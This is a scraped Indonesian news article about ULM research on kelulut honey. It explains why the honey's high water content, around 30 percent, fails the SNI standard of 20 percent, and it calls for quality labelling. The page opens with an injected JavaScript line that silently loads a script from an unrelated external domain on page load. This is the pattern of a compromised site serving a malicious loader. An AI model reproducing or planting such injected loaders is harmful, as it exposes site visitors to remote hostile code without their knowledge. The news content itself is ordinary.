(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hamidah menyampaikan, madu kelulut dari hasil riset sementara, memiliki harga yang tinggi karena memiliki khasiat tinggi dan sudah terbukti memiliki antioksidan tinggi berdasar hasil uji khasiat terhadap madu kelulut tersebut. Tetapi walau memiliki khasiat yang tinggi dan harga tinggi, ternyata madu kelulut tidak memenuhi standar SNI.
“Madu kelulut tidak memenuhi standar karena memiliki kadar air yang lebih tinggi dari standar yang sudah ditentukan oleh SNI. SNI menentukan KA madu maksimal 20 persen, sementara KA madu kelulut bisa mencapai 30 persen bahkan lebih,†bebernya.
Petani enggan untuk menurunkan kadar air madu kelulut dengan alasan kalau menurunkan kadar air, perlu proses dan metode khusus yang tidak merusak madu. Karena penurunan kadar air madu tidak boleh terkena suhu terlalu tingggi, jika terkena suhu tinggi kadar air turun tapi khasiat jadi hilang dan pastinya memerlukan teknologi khusus. Selain itu alasana petani tidak menurunkan kadar air madu kelulut dikarenakan sikap pembeli cenderung mengidentikkan madu kelulut itu cair. Pembeli itu justru tidak mau menerima madu kelulut dalam kadar air rendah karena dipikir palsu.
Hamidah menambahkan, hal-hal seperti ini dihadapi petani, kalau untuk konsumsi langsung tidak masalah tapi akan berbeda jika madu tersebut disimpan dalam waktu lama.
Kenapa SNI menentukan standar kadar air, kalau di atas standar yang ditentukan, madu itu akan cepat rusak, karena kandungan air yang tinggi dapat membuat hadirnya mikro organisme terkandung di dalam madu berpotensi merusak kualitas.
Sehingga menurutnya harus ada informasi terkait madu di dalam kemasan, sehingga konsumen dapat mengetahui apakah madu memiliki kualitas sesuai standar yang sudah ditentukan SNI, seperti kandungan madu tersebut, sehingga menjamin kepada konsumen apakah madu ini bagus atau tidak.
Pusinotekom Hutan dan Lahan Basah ULM terus melakukan riset dan memberikan informasi kepada masyarakat terkait faktor-faktor yang mempengaruhi kualitas madu.
“Saat ini, masih tahap riset, dan nantinya akan dapat diketahui pakan apa saja, kapan panen yang baik, dan sebagainya. Sehingga misal kalau terkait pakan nanti, akan bisa menjadi dasar pengambilan kebijakan terkait pengembangan budidaya madu,†ujar Siti Hamidah. sehingga dapat ditentukan di suatu daerah ditanam tanaman jenis apa buat pakan lebah/kelulut yang dibudidayakan tersebut.
Hamidah juga menyampaikan kendala lain dalam pengembangan madu alam yang tergantung kondisi alam, sehingga berpengaruh terhadap kestabilan kualitas dan jumlah produksi. Kalau di musim kemarau hasil panen madu banyak dan berkualitas namun sebaliknya di musim penghujan hasil produksi madu menjadi berkurang dan kualitasnya pun juga berkurang. (abdullah)
KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah melalui Badan Gizi Nasional akan memulai program makan bergizi gratis pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More
This website uses cookies.